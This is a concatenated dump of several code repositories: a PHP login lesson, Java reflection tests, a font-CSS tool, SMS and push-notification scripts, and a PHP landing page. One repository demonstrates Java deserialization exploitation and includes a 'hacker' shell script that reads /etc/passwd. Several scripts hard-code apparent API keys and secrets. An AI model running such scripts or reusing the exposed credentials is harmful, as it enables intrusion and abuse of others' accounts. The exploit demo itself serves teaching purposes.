d7104791f43faa60a6240c948fb74d209043fb99
refs/heads/master
<repo_name>laurynasgailius/lesson9<file_sep>/users/functions.php <?php $servername = "localhost"; $db_username = "webpr2016"; $db_password = "<PASSWORD>"; function login($user, $pass) { $pass = hash("<PASSWORD>", $pass); $mysql = new mysqli("localhost", $GLOBALS["db_username"], $GLOBALS["db_password"],"<PASSWORD>"); $stmt = $mysql->prepare("select id, name FROM users WHERE username=? and password=?"); echo $mysql->error; $stmt->bind_param("ss", $user, $pass); $stmt->bind_result($id, $name); $stmt->execute(); //get the data if($stmt->fetch()){ echo " User with id ".$id." - Logged in!"; $_SESSION["login"] = $id; $_SESSION["name"] = $name; $_SESSION["username"] = $user; header("Location: restrict.php"); }else{ // username was wrong or password was wrong or both. echo $stmt->error; echo "wrong credentials"; } } function signup($user, $pass, $name){ //hash the password $pass = hash("sha512", $pass); //GLOBALS - access outside variable in function $mysql = new mysqli("localhost", $GLOBALS["db_username"], $GLOBALS["db_password"], "<PASSWORD>"); $stmt = $mysql->prepare("INSERT INTO users (username, password, name) VALUES (?,?,?)"); echo $mysql->error; $stmt->bind_param("sss", $user, $pass, $name); if($stmt->execute()){ echo "user saved successfully! "; }else{ echo $stmt->error; } } function saveInterest ($interest){ $mysql = new mysqli ("localhost", $GL } function createInterestDropdown(){ // query all interests $mysql = new mysqli("localhost", $GLOBALS["db_username"], $GLOBALS["db_password"], "webpr2016_laugai"); $stmt = $mysql->prepare("select id, name FROM interests ORDER BY name ASC"); } ?>
8262fc34adf066a8b0946390a8367378ef1eb16c
[ "PHP" ]
1
PHP
laurynasgailius/lesson9
c89e67275bdb84273c0ad44d05c81d3ac3966da7
8e3392d093645c877ae3be883b61795c1f627830
refs/heads/master
<repo_name>Cutzrus/remote-code-execution-sample<file_sep>/src/main/java/com/example/App.java package com.example; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; /** * This sample demos how to prevent the Java code deserialziation vulnerability that sometimes occurs inside apps that don't run inside of a security sandbox. */ public class App { private static final String OBJ_LABEL = "myObject.ser"; /** * Three steps being shown. 1. serialize the rogue object. 2. simulate some sort of operation where the serialized data is transmitted to the host. 3. deserialize obj triggering the exploit. * * @param args */ public static void main(String[] args) { System.out.println( "Begin serial exploit test...." ); App myApp = new App(); // This will occur long before the attack, on the hacker's machine. BadCode myObj = new BadCode(); myObj.name = "duke"; myObj.address = "moscone center"; System.out.println("Input: " + myObj.name + " " + myObj.address); // 1. Also on the hacker's machine. It serializes the contents of the rogue object (trojan horse) to a stream and will be uploaded to host (intended target) via input form or web service. myApp.serialize( myObj ); // 2. In a real-world exploit there'll be some sort of resource activity where the serialized object is transmitted to the host (the trojan horse is accepted). // It might be an HTTP invocation. // 3. The XML data containing rogue object is parsed, instantiated, and executed on the machine being targeted. // It is during the deserialize method the rogue object executes. myObj = myApp.deserialize(); // The damage is done, print the contents of rogue object: System.out.println("Result: " + myObj.name + " " + myObj.address); } /** * Sample of serializing an object. * * @param e */ public void serialize(BadCode e) { try { FileOutputStream fileOut = new FileOutputStream( OBJ_LABEL ); ObjectOutputStream out = new ObjectOutputStream( fileOut ); out.writeObject( e ); out.close(); fileOut.close(); System.out.println( "Serialized data is saved in " + OBJ_LABEL ); } catch ( IOException i ) { String error = "serialize caught IOException=" + i; System.out.println("ERROR: " + error); throw new RuntimeException( error ); } } /** * Sample of deserialzing an object. * @return */ public BadCode deserialize() { BadCode out; try { //Read the serialized data back in from the file "myObject.ser" FileInputStream fis = new FileInputStream( OBJ_LABEL ); ObjectInputStream ois = new ObjectInputStream(fis); //Read the object from the data stream, and convert it back to an Object, when the exploit gets triggered: out = (BadCode )ois.readObject(); ois.close(); } catch ( IOException i ) { String error = "serialize caught IOException=" + i; System.out.println("ERROR: " + error); throw new RuntimeException( error ); } catch ( ClassNotFoundException cff ) { String error = "serialize caught ClassNotFound=" + cff; System.out.println("ERROR: " + error); throw new RuntimeException( error ); } return out; } }<file_sep>/src/main/resources/hacker-script.sh #!/usr/bin/env bash # no license # Let's try a bit of mischief... message="You've been hacked" fileName=YouveBeenHacked echo $message echo "CLASSPATH="$CLASSPATH echo $message'!' > $fileName echo "USER="$USER >> $fileName echo "PWD="$PWD >> $fileName echo "JAVA CLASSPATH="$CLASSPATH >> $fileName echo "YOUR PASSWORDS=" >> $fileName cat '/etc/passwd' >> $fileName
a49a671428e49babf847bf0bb71a7c0b4175cc7f
[ "Java", "Shell" ]
2
Java
Cutzrus/remote-code-execution-sample
9351f2d2c0d732cf604d53f3c0dbdd810ff20d0f
752f09e494f3129af74f249a0449424b22080f12
refs/heads/master
<file_sep>package br.com.reflection.classes; import static org.junit.Assert.*; import java.util.HashSet; import java.util.Set; import javax.swing.JButton; import org.junit.Test; import br.com.reflection.model.Student; public class RetrievingClassObjects { enum MY_ENUM {A, B, C}; @Test public void retrieving_string_class() throws Exception { assertEquals(String.class, "My string".getClass()); } @Test public void retrieving_enum_class() throws Exception { assertEquals(RetrievingClassObjects.MY_ENUM.class, MY_ENUM.A.getClass()); } @Test public void retrieving_class_from_array() throws Exception { Set<String> hashSet = new HashSet<>(); System.out.println(hashSet.getClass()); } @Test public void retrieving_class_using_dot_class() throws Exception { boolean option = false; //option.getClass() will generate compiler error //option.class will generate compiler error System.out.println(option); System.out.println(boolean.class); } @Test public void retrieving_class_from_array_of_integer() throws Exception { Class<int[][]> c = int[][].class; System.out.println(c); } @Test public void retrieving_class_from_fully_qualified_name() throws Exception { @SuppressWarnings("rawtypes") Class studentClass = Class.forName("br.com.reflection.model.Student"); //without Generics @SuppressWarnings("unchecked") Class<Student> studentClass2 = (Class<Student>) Class.forName("br.com.reflection.model.Student"); //without Generics System.out.println(studentClass); System.out.println(studentClass2); } @Test public void retrieving_class_from_double_class() throws Exception { @SuppressWarnings("unchecked") Class<Double> doubleClass = (Class<Double>) Class.forName("[D"); System.out.println(doubleClass); } @Test public void retrieving_class_from_string_type() throws Exception { @SuppressWarnings("unchecked") Class<String> string = (Class<String>) Class.forName("[[Ljava.lang.String;"); System.out.println(string); } @Test public void retrieving_subclass_from_button_class() throws Exception { Class<? super JButton> superclass1 = JButton.class.getSuperclass(); Class<?> superclass2 = JButton.class.getSuperclass(); System.out.println(superclass1); System.out.println(superclass2); } @Test public void retrieving_classes_from_character_class() throws Exception { Class<?>[] classes = Character.class.getClasses(); for(Class<?> clazz: classes) { System.out.println(clazz); } } @Test public void retrieving_declared_classes_from_character_class() throws Exception { Class<?>[] classes = Character.class.getDeclaredClasses(); for(Class<?> clazz: classes) { System.out.println(clazz); } } }
37b29b3df5c9f30bc91d5a1d435620bfb591c3f3
[ "Java" ]
1
Java
alexandregama/reflection-java
391fcfe664ea67c29d21ef4dfd50dca7987c9775
7ea04f231eb2f2f3a8e43e81344026695d762303
refs/heads/master
<file_sep># Auto-populate your CSS File ## With @font-face Syntax This command line tool appends browser-ready @font-face declarations to your CSS file, based on any font files found in your /fonts directory. ###Note: - Font files must be in /fonts or /font directory in your project's root ###Todo: - Append decelerations to TOP of CSS file - Add support for IE / Desired output is as follows: @font-face{ font-family: 'MyWebFont'; src: url('WebFont.eot'); src: url('WebFont.eot?#iefix') format('embedded-opentype'), url('WebFont.woff') format('woff'), url('WebFont.ttf') format('truetype'), url('WebFont.svg#webfont') format('svg'); }<file_sep>def check_dir if File.directory?("fonts") $fontDir = Dir.pwd.concat("/fonts") elsif File.directory?("font") $fontDir = Dir.pwd.concat("/font") else puts "Please add your font files to /fonts directory and restart program." exit end Dir.chdir $fontDir end def get_fonts $fontNames = Dir.entries(".").to_a $fontNames.delete(".") $fontNames.delete("..") $fontNames.delete(".DS_Store") $fontNames.each { |title| $fontTitle = title.sub(/.{4}$/,'') } end def organize_type $fontNames.each { |font| $type = File.extname(font) if $type == '.ttf' $ttf = font elsif $type == '.otf' $otf = font elsif $type == '.woff' $woff = font elsif $type == '.svg' $svg = font elsif $type == '.eot' $eot = font end } end def find_unique end def declare_fonts # $uniqueFont.each { |x| File.open('../style.css', 'a') {|f| f.write(" @font-face { font-family: \"#{$fontTitle}\"; src: url(\"#{$eot}\"); src: url(\"#{$eot}#iefix\") format('embedded-opentype'), url(\"#{$otf}\") format('opentype'), url(\"#{$woff}\") format('woff'), url(\"#{$ttf}\") format('truetype'), url(\"#{$svg}\") format('svg'); font-weight: normal; font-style: normal; } ")} # } end check_dir get_fonts organize_type find_unique declare_fonts
8bf9e367b09f2e5744ce8be4458086089559a8f6
[ "Markdown", "Ruby" ]
2
Markdown
aaronagray/sans-manual
c1b09c9f88ba7864b4023e32fed188462b89662e
e4bc4359441ce8b73200ca253a5109dc10b0d207
refs/heads/master
<file_sep>const tencentcloud = require("tencentcloud-sdk-nodejs"); const SmsClient = tencentcloud.sms.v20190711.Client; function main() { const clientConfig = { credential: { secretId: AppId, secretKey: AppKey, }, region: "", profile: { httpProfile: { endpoint: "sms.tencentcloudapi.com", }, }, }; const client = new SmsClient(clientConfig); const params = { "PhoneNumberSet": [ "+8617600489317" ], "TemplateParamSet": [ "1232" ], "TemplateID": "709509", "SmsSdkAppid": AppId, "Sign": "微拍堂" }; client.SendSms(params).then( (data) => { console.log(data); }, (err) => { console.error("error", err); } ); } main();<file_sep>// const AppId = "1400193830" // const AppKey = "e43701de481bd30b3b6ec62c43492633" const AppId = "1400194025" const AppKey = "<KEY>" const secretId= "<KEY>", const secretKey= "sdas", <file_sep># default-test //本地测试用 //<file_sep>const fs = require("fs"); const _ = require("lodash"); const args = process.argv; var realName = 'real_text.json' var real101Name = 'real_text_101.json' var Name = "线下比对" var filter_name = "real_id" function main() { try { console.log("##############\n", args); // true表示线上配置 if (args.length > 2) { if (args[2] == "true") { Name = "线上比对" realName = 'real_prod.json' real101Name = 'real_prod_101.json' } if (args[3] && _.indexOf(["virtual_id", "receiver"], args[3]) != -1) { filter_name = args[3] console.log(_.indexOf(["virtual_id", "receiver"], args[3]), filter_name) } } console.log("******环境\n%s\n******\n", Name) let realdata = fs.readFileSync(realName); let cur_real = JSON.parse(realdata); let txReal = cur_real.filter(e => e.channel == "sms" && e.vendor == "tx" && e.real_id.length == 6).map(e => { // console.log(JSON.stringify(e)) if (e.virtual_id == "bsjr6oauof2mmt99nlog") { console.log(JSON.stringify(e)) } return e; }) let real101data = fs.readFileSync(real101Name); let real101 = JSON.parse(real101data); let txReal101 = real101.filter(e => e.channel == "sms" && e.vendor == "tx" && e.real_id.length == 6).map(e => { // console.log(JSON.stringify(e)) return e; }) console.log("真实模板len:%d 真实模板-腾讯短信len:%d\n 101条模板.len:%d 101条模板-腾讯短信.len:%d", cur_real.length, txReal.length, real101.length, txReal101.length) let diffTx = _.difference(txReal.map(e => e[filter_name]), txReal101.map(e => e[filter_name])) let diffTx101 = _.difference(txReal101.map(e => e[filter_name]), txReal.map(e => e[filter_name])) console.log("******短信差异长度 %d %d\n", diffTx.length, diffTx101.length) console.log("\n", JSON.stringify(diffTx.sort())) console.log("\n", JSON.stringify(diffTx101.sort())) } catch (err) { console.log(err); } } main()<file_sep>const server_send = require("./2.js"); var tmp = new Promise(function (resolve, reject){ server_send.get_search_data(function (err, data) { console.warn("come in 2222222"+data); if (err) { reject(error); }else{ resolve(data); } }); }); // tmp.then(function (data) { // console.warn("***"+data); // }).catch(function (err) { // console.warn(err); // }) async function getData() { // return await tmp; return await Promise.all([tmp,tmp]); } getData().then(function (data) { console.warn("***"+data); }).catch(function (err) { console.warn(err); }); var qs = require('querystring'); var param = {a:'1',b:'2'}; var data = param || "defaultData please check!"; var content = qs.stringify(data); console.warn(data.toString()); console.warn(param, data, qs.stringify(data),content,typeof(content)); <file_sep> var JPush = require("jpush-async/lib/JPush/JPushAsync.js") var client = JPush.buildClient('db86152e57e8f36ac3eab2c3', '65a235be62a9e403bd2c059a') function main() { client.push().setPlatform('android') // .setAudience(JPush.tag('555', '666'), JPush.alias('666,777')) .setAudience(JPush.alias("2007171119AATZBS")) .setNotification('Hi, JPush', JPush.ios('ios alert'), JPush.android('android alert', null, 1)) .setMessage('msg content') .setOptions(null, 60, null, true) .send() .then(function(result) { console.log(result) }).catch(function(err) { console.log(err) }); } main()<file_sep>const Koa = require('koa'); const app = new Koa(); const bodyparser = require("koa-bodyparser"); const router = require("koa-router")(); // x-response-time app.use(bodyparser({ onerror: function (err, ctx) { if (err) { err.reqid = "onBodyParserError()"; } ctx.body = err; }, })); app.use(async (ctx, next) => { const start = Date.now(); const ms = Date.now() - start; ctx.set('X-Response-Time', `${ms}ms`); console.warn(`${ctx.host} ${ctx.status}`); console.log(`${ctx.method} ${ctx.url} - ${ms}`); ctx.set("Access-Control-Allow-Credentials",true);//设置是否包含cookies信息 ctx.set("Access-Control-Allow-Methods","GET, POST, OPTIONS");//设置允许跨域请求的http方法 ctx.set("Access-Control-Allow-Origin", "*");//允许的域名,只能填通配符或者单域名 await next(); }); const Test = require("./src/Test"); router.use('/v1/blockchain', Test.routes(), router.allowedMethods()); app.use(router.routes()); let port = process.env.OPENSHIFT_NODEJS_PORT || 7073; let host = process.env.OPENSHIFT_NODEJS_IP || "127.0.0.1"; app.listen(port,host, () => { console.info(`Listening on http://${host}:${port}`); }); process.on('uncaughtException', function(err) { console.error(err); }); <file_sep>var fs = require('fs'); var http = require('http'); var qs = require('querystring'); exports.get_search_data = function(cb){ var data = { key:"1111111111111" }; var content = qs.stringify(data); var options = { // host:'192.168.127.12', // port:7070, host:'127.0.0.1', port:7073, path:'/v1/blockchain/test', method: 'POST', headers:{ //'Content-Type':'application/x-www-form-urlencoded', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Content-Length':Buffer.byteLength(content) } }; var req = http.request(options,function(res){ console.log('STATUS: ' + res.statusCode); console.log('HEADERS: ' + JSON.stringify(res.headers)); var body = ''; res.setEncoding('utf-8'); res.on('data',function(chunk){ console.log('body分隔线---------------------------------\r\n'); console.log(chunk); body += chunk; }); res.on('end',function(){ console.log('No more data in res.********'); console.warn(typeof(body)); cb && cb(null, body) }); }); req.on('error',function(err){ console.error(err); }); req.write(content); req.end(); } <file_sep>/*jshint esversion: 6 */ var https = require('https'); //引入https模块 var url = require('url'); //引入url模块 var querystring = require('querystring'); // 引入querystring模块 //必填,请参考"开发准备"获取如下数据,替换为实际值 var realUrl = 'https://rtcsms.cn-north-1.myhuaweicloud.com:10743/sms/batchSendSms/v1'; //APP接入地址+接口访问URI var appKey = '<KEY>'; //APP_Key var appSecret = '<KEY>'; //APP_Secret var sender = '8820122523199'; //国内短信签名通道号或国际/港澳台短信通道号 var templateId = '9392ef032f284f1b8c55c5f8f76d1ab1'; //模板ID //条件必填,国内短信关注,当templateId指定的模板类型为通用模板时生效且必填,必须是已审核通过的,与模板类型一致的签名名称 //国际/港澳台短信不用关注该参数 var signature = "微拍堂"; //签名名称 //必填,全局号码格式(包含国家码),示例:+8615123456789,多个号码之间用英文逗号分隔 var receiver = '+8617600489317'; //短信接收人号码 //选填,短信状态报告接收地址,推荐使用域名,为空或者不填表示不接收状态报告 var statusCallBack = ''; /** * 选填,使用无变量模板时请赋空值 var templateParas = ''; * 单变量模板示例:模板内容为"您的验证码是${1}"时,templateParas可填写为'["369751"]' * 双变量模板示例:模板内容为"您有${1}件快递请到${2}领取"时,templateParas可填写为'["3","人民公园正门"]' * 模板中的每个变量都必须赋值,且取值不能为空 * 查看更多模板和变量规范:产品介绍>模板和变量规范 */ var templateParas = '["369751"]'; //模板变量,此处以单变量验证码短信为例,请客户自行生成6位验证码,并定义为字符串类型,以杜绝首位0丢失的问题(例如:002569变成了2569)。 /** * 构造请求Body体 * * @param sender * @param receiver * @param templateId * @param templateParas * @param statusCallBack * @param signature | 签名名称,使用国内短信通用模板时填写 * @returns */ function buildRequestBody(sender, receiver, templateId, templateParas, statusCallBack, signature) { if (null !== signature && signature.length > 0) { return querystring.stringify({ 'from': sender, 'to': receiver, 'templateId': templateId, 'templateParas': templateParas, 'statusCallback': statusCallBack, 'signature': signature }); } return querystring.stringify({ 'from': sender, 'to': receiver, 'templateId': templateId, 'templateParas': templateParas, 'statusCallback': statusCallBack }); } /** * 构造X-WSSE参数值 * * @param appKey * @param appSecret * @returns */ function buildWsseHeader(appKey, appSecret) { var crypto = require('crypto'); var util = require('util'); var time = new Date(Date.now()).toISOString().replace(/.[0-9]+\Z/, 'Z'); //Created console.log(Date.now(), time) var nonce = crypto.randomBytes(64).toString('hex'); //Nonce var passwordDigestBase64Str = crypto.createHash('sha256').update(nonce + time + appSecret).digest('base64'); //PasswordDigest console.log(nonce, time, passwordDigestBase64Str) digestBase64Str = crypto.createHash('sha256').update("5fe97f2b5ec3c53e40f76ccb" + "2020-12-28T06:46:03Z" + "YbCt26YV08z0I2GP4M8pI6K9ho24").digest('base64') console.log(digestBase64Str) return util.format('UsernameToken Username="%s",PasswordDigest="%s",Nonce="%s",Created="%s"', appKey, passwordDigestBase64Str, nonce, time); } var urlobj = url.parse(realUrl); //解析realUrl字符串并返回一个 URL对象 var options = { host: urlobj.hostname, //主机名 port: urlobj.port, //端口 path: urlobj.pathname, //URI method: 'POST', //请求方法为POST headers: { //请求Headers 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'WSSE realm="SDP",profile="UsernameToken",type="Appkey"', 'X-WSSE': buildWsseHeader(appKey, appSecret) }, rejectUnauthorized: false //为防止因HTTPS证书认证失败造成API调用失败,需要先忽略证书信任问题 }; // 请求Body,不携带签名名称时,signature请填null var body = buildRequestBody(sender, receiver, templateId, templateParas, statusCallBack, signature); // var req = https.request(options, (res) => { // console.log('statusCode:', res.statusCode); //打印响应码 // res.setEncoding('utf8'); //设置响应数据编码格式 // res.on('data', (d) => { // console.log('resp:', d); //打印响应数据 // }); // }); // req.on('error', (e) => { // console.error(e.message); //请求错误时,打印错误信息 // }); // req.write(body); //发送请求Body数据 // req.end(); //结束请求 <file_sep>const tencentcloud = require("tencentcloud-sdk-nodejs"); const SmsClient = tencentcloud.sms.v20190711.Client; function main() { const SmsClient = tencentcloud.sms.v20190711.Client; const clientConfig = { credential: { secretId: "<KEY>", secretKey: "e43701de481bd30b3b6ec62c43492633", }, region: "", profile: { httpProfile: { endpoint: "sms.tencentcloudapi.com", }, }, }; const client = new SmsClient(clientConfig); const params = { "TemplateName": "小仕测试推广短信", "TemplateContent": "您的验证码是:{1},请于10分钟内正确输入进行登录,切勿将验证码泄露于他人。", "SmsType": 0, "International": 0, "Remark": "小仕测试推广短信" }; client.AddSmsTemplate(params).then( (data) => { console.log(data); }, (err) => { console.error("error", err); } ); } main();<file_sep>const cluster = require("cluster"); const numCPUs = require("os").cpus().length; // 设置子进程执行程序 cluster.setupMaster({ exec: "./worker.js", slient: true }); function run() { // 记录开始时间 const startTime = Date.now(); // 总数 const totalCount = 500; // 当前已处理任务数 let completedCount = 0; // 任务生成器 const fbGenerator = FbGenerator(totalCount); if (cluster.isMaster) { cluster.on("fork", function(worker) { console.log(`[master] : fork worker ${worker.id}`); }); cluster.on("exit", function(worker, code, signal) { console.log(`[master] : worker ${worker.id} died`); }); for (let i = 0; i < numCPUs; i++) { const worker = cluster.fork(); // 接收子进程数据 worker.on("message", function(msg) { // 完成一个,记录并打印进度 completedCount++; console.log(`process: ${completedCount}/${totalCount}`); nextTask(this); }); nextTask(worker); } } else { process.on("message", function(msg) { console.log(msg); }); } /** * 继续下一个任务 * * @param {ChildProcess} worker 子进程对象,将在此进程上执行本次任务 */ function nextTask(worker) { // 获取下一个参数 const data = fbGenerator.next(); // 判断是否已经完成,如果完成则调用完成函数,结束程序 if (data.done) { done(); return; } // 否则继续任务 // 向子进程发送数据 console.log('data.value', data.value); worker.send(data.value); } /** * 完成,当所有任务完成时调用该函数以结束程序 */ function done() { if (completedCount >= totalCount) { cluster.disconnect(); console.log("👏 👏 👏 👏 👏 👏 👏 👏 👏 👏"); console.info(`任务完成,用时: ${Date.now() - startTime}ms`); console.log("👏 👏 👏 👏 👏 👏 👏 👏 👏 👏"); } } } /** * 生成器 */ function* FbGenerator(count) { let d = 34; for (var i = 0; i < count; i++) { yield d; } return; } module.exports = { run };<file_sep>const fs = require("fs"); const _ = require("lodash"); const args = process.argv; var curlPath = "" function main() { try { console.log("##############\n", args); // true表示线上配置 if (args.length <= 2) { console.log("未传入文件路径") return } else { curlPath = args[2] } console.log("******curlPath \n%s\n******\n", curlPath) let realdata = fs.readFileSync(curlPath); let cur_real = JSON.parse(realdata); let tmp = cur_real.reduce((state, key) => { let channel = key["channel"] if (state[channel]) { state[channel] = _.concat(state[channel], key) } else { state[channel] = [key] } return state; }, {}) console.log("%s\n", JSON.stringify(Object.keys(tmp), null, 2)) let len = 0 Object.keys(tmp).map(e => { len+=tmp[e].length console.log("key: %s value.len: %s value:\n%s\n", e, tmp[e].length, JSON.stringify(_.sortBy(tmp[e], ["vendor", "receiver", "real_id"]),null,4)) return e }) console.log("总长度为 \n",len) // console.log("真实模板len:%d 真实模板-腾讯短信len:%d\n 101条模板.len:%d 101条模板-腾讯短信.len:%d", cur_real.length, txReal.length, real101.length, txReal101.length) // let diffTx = _.difference(txReal.map(e => e[filter_name]), txReal101.map(e => e[filter_name])) // let diffTx101 = _.difference(txReal101.map(e => e[filter_name]), txReal.map(e => e[filter_name])) // console.log("******短信差异长度 %d %d\n", diffTx.length, diffTx101.length) // console.log("\n", JSON.stringify(diffTx.sort())) // console.log("\n", JSON.stringify(diffTx101.sort())) } catch (err) { console.log(err); } } main()<file_sep> // let moment = require ('moment'); // function init_mac_configToOss( ){ // let curtime = new Date(); // let cur = moment().hour(); // console.log(cur, curtime.getHours()); // } // init_mac_configToOss(); // // let arr = // [ // { // "shutdown_time": "00:00", // "boot_time": "00:00", // "scenes": [ // "taobao1", // "mafengwowow", // "taobao2", // "taobaoiot" // ] // }] // // for(let [k,i] of arr.entries()) { // console.log(k,i) // } // let a = '00:00'; // let shutdown_time = a.split(':'); // console.log(shutdown_time); // let arr =['a','b','c']; // let k = arr.join(); // console.log(k,typeof (k),arr); // // function deweight (arr) { // let seen = new Map(); // return arr.filter(e => !seen.has(e) && seen.set(e, 1)); // } // let b = deweight(arr); // console.log(b); // let arr = ',2,3,4'; // console.log(arr.split(',')); // let items = [1,2,3,4]; // let glistData = {}; // items.every(item => { // if (6 <= item) { // glistData = item; // return false; // } // return true; // }); // // console.log(glistData); var urlencode = require('urlencode'); let str1 = 'query=%7B%22limit%22:20,%22offset%22:0,%22where%22:%7B%22type%22:1%7D,%22order%22:[[%22createdAt%22,%22desc%22]]%7D'; // console.log(urlencode(obj)); // console.log(encodeURIComponent(str1)); let str2 = decodeURI(str1); console.log(str2,typeof (str2)); let str3 = encodeURIComponent(str2); // console.log(str3); function url_encode(url){ url = encodeURIComponent(url); url = url.replace(/\%3A/g, ":"); url = url.replace(/\%2F/g, "/"); url = url.replace(/\%3F/g, "?"); url = url.replace(/\%3D/g, "="); url = url.replace(/\%26/g, "&"); url = url.replace(/\%2C/g, ","); return url; } console.log(url_encode(str2)); console.log(str1);
82df4790fd4d234ad43c242f5c26ed0dcb0cbf70
[ "JavaScript", "TypeScript", "Markdown" ]
13
JavaScript
nailuonice/default-test
631536b8145c96ff9ddbe3aef0d86703e564c17e
dbfd6028664895e4a04677e13613ac81ce2a9bb5
refs/heads/master
<repo_name>yanyaoer/demo<file_sep>/wms/js/util.js /* vim: set et sw=4 ts=4 sts=4 fdm=sytanx ff=unix fenc=utf8: */ if (!util) var util = {}; (function(){ util.frameResize = function() { if (window.parent) window.parent.$('#J_frame').height($(document).height()); } util.batch = function(trigger, target, fn){ trigger.click(function(){ target.each(function(idx, el){ el.checked==true?el.checked=false:el.checked=true; }) if (fn) fn(); }) } })() <file_sep>/event/intro.php <?php header("Content-type: text/html; charset=utf-8"); $commentList = array( array('img'=>'http://res.hyzing.com/res/img/intro/avatar.png', 'name'=>'<NAME>', 'company'=>'南邮物联网科技园管理办', 'date'=>'2010-12-02', 'comment'=>'海震公司的RFID智能会议管理系统,在“2010年全国泛在网与物联网技术标准研讨会暨首届物联网应用标准金陵论坛(JFIOT’2010)” 上应用效果良好,得到与会领导和专家的一致好评。'), array('img'=>'http://res.hyzing.com/res/img/intro/avatar.png', 'name'=>'<NAME>', 'company'=>'南邮物联网科技园管理办', 'date'=>'2010-12-02', 'comment'=>'海震公司的RFID智能会议管理系统,在“2010年全国泛在网与物联网技术标准研讨会暨首届物联网应用标准金陵论坛(JFIOT’2010)” 上应用效果良好,得到与会领导和专家的一致好评。'), array('img'=>'http://res.hyzing.com/res/img/intro/avatar.png', 'name'=>'<NAME>', 'company'=>'南邮物联网科技园管理办', 'date'=>'2010-12-02', 'comment'=>'海震公司的RFID智能会议管理系统,在“2010年全国泛在网与物联网技术标准研讨会暨首届物联网应用标准金陵论坛(JFIOT’2010)” 上应用效果良好,得到与会领导和专家的一致好评。') ); $eventMeta = array( array('title'=>'会议前:', 'desc'=>array( '网上注册', '自定义网站服务', '经济有效的找寻目标参与者' )), array( 'title'=>'会议中:', 'desc'=>array( '自动签到', '现场实时控制管理', '射频迎宾服务', '提供就餐管理服务', '参会者自动鉴定和认证', '实时查询和打印签到报表', '统计最受关注的议题, 最受欢迎的活动...', '准确了解参会者入场信息', '量化活动统计数据: 出席率, 区域活动密度...' ) ), array('title'=>'会议后:', 'desc'=>array( '会议分析报告', '缩短了会后资料汇总时间', '今后会议的有效指导')) ); $eventList = array( array('title'=>'2010江苏互联网大会', 'link'=>''), array('title'=>'2010年全国泛在网与物联网技术标准研讨会', 'link'=>''), array('title'=>'2010 MIT', 'link'=>'') ); $partnerList = array( array('desc'=>'南京邮电大学', 'link'=>'http://www.njupt.edu.cn/', 'img'=>'http://res.hyzing.com/res/img/intro/partner/njupt.png'), array('desc'=>'江苏互联网大会', 'link'=>'http://www.jsweb.org/', 'img'=>'http://res.hyzing.com/res/img/intro/partner/jsweb.png') ); $linkList = array( array('title'=>'关于我们', 'link'=>'http://hyzing.com/about-us/'), array('title'=>'加入我们', 'link'=>'http://hyzing.com/about-us/#join'), array('title'=>'定投广告', 'link'=>'mailto:<EMAIL>'), array('title'=>'隐私声明', 'link'=>'#'), array('title'=>'苏ICP证10211262号', 'link'=>'#') ) ?> <!DOCTYPE html> <html> <head> <meta charset="utf8" /> <title>海震智能会务</title> <!-- <link rel="stylesheet" href="FIXME" /> <script src="FIXME"></script> --> <style> /* css reset {{{ */ body, h1, h2, h3, h4, h5, h6, hr, p, blockquote, dl, dt, dd, ul, ol, li, pre, form, fieldset, legend, button, input, textarea, th, td { margin: 0; padding: 0; } body, button, input, select, textarea { font: 12px/1.5 tahoma, arial, Helvetica, "微软雅黑", "Hiragino Sans GB", \5b8b\4f53, sans-serif; } h1, h2, h3, h4, h5, h6 { font-size: 100%; } address, cite, dfn, em, var { font-style: normal; } code, kbd, pre, samp { font-family: monaco, 'courier new', 'bitstream vera sans mono', courier, monospace; } small { font-size: 12px; } ul, ol { list-style: none; } a { text-decoration: none; } a:hover { text-decoration: underline; } fieldset, img { border: 0; } img { vertical-align: middle; } button, input, select, textarea { font-size: 100%; } table { border-collapse: collapse; border-spacing: 0; } /* }}} css reset */ body {background:#fff; color:#666;} #wrapper {background:#f1f1f1 url(http://res.hyzing.com/res/img/intro/top.png) repeat-x 0 0;} #content {width:930px;margin:0 auto;} a, a:active {color:#4dadeb;} #header {height:75px; width:960px; margin: 0 auto;} #header h1 {float:left;} #header .global-search {float:right; margin-top:30px; margin-right:17px; _display:inline;} .global-search .text {border:1px solid #5496cc; color:#5496cc; background:#3c6b93; height:18px; line-height:18px; padding-left:2px; margin-right:5px} .global-search .text:focus {background:#fff;} .global-search button {width:50px; height:20px; line-height:20px; background:url(http://res.hyzing.com/res/img/intro/search-btn.png) no-repeat 0 0; border:0 none; color:#fff; cursor:pointer;} .global-search button:hover {color:#193356;} .column {overflow:auto; margin:10px 0 50px; _zoom:1;} .box {padding:10px; background:#fff; border:1px solid #ddd; float:left;} .box h2 {color:#269; font-size:14px; padding:5px 10px; background:#f1f1f1;} .box ul {padding:10px;} .intro {border:5px solid #4dadeb; float:none; overflow:hidden; _zoom:1; -moz-box-shadow:0 0 5px #666; -webkit-box-shadow:0 0 5px #666; box-shadow:0 0 5px #666; } .intro dl {width:500px; float:left; padding-left:40px; background:url(http://res.hyzing.com/res/img/intro/icon.png) no-repeat 15px 11px; _display:inline;} .intro dt {font-size:16px; font-weight:bold;margin:10px 10px 0;} .intro ul {padding-top:0; overflow:hidden; _zoom:1;} .intro .linebreak li {float:left; width:49.5%;} .intro img {margin-top:10px;} .demo-start {display:block; width:224px; height:63px; background:url(http://res.hyzing.com/res/img/intro/button.png) no-repeat 0 0; overflow:hidden; text-indent:-20em; margin:-20px auto 0;; position:relative; cursor:pointer; } .demo-start:hover {background-position:0 100%;} .comments {width:568px;margin-right:10px;} .comments li {position:relative;overflow:auto;padding-bottom:15px; margin:5px 0 20px; _zoom:1; _padding-bottom:20px} .avatar {float:left;} .avatar .img {padding:1px; border:1px solid #ddd; display:block;} .avatar .date, .avatar .company {color:#ccc;position:absolute; bottom:0;} .avatar .date {right:10px;} .avatar .company {left:0;} .comment {position:relative; float:left; width:440px; padding:5px; margin:0 0 5px 20px; border:1px solid #dbdbdb; _display:inline; _zoom:1; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; -moz-box-shadow:0 1px 3px #dbdbdb; -webkit-box-shadow:0 1px 3px #dbdbdb; box-shadow:0 1px 3px #dbdbdb; } .comment .arrow {display:block; width:7px; height:10px; background:url(http://res.hyzing.com/res/img/intro/arr.png) no-repeat 0 0; position:absolute; left:-7px; top:10px;} .eventList, .partnerList {width:308px;} .eventList {margin-bottom:10px;} .partnerList ul {padding:10px 0;} 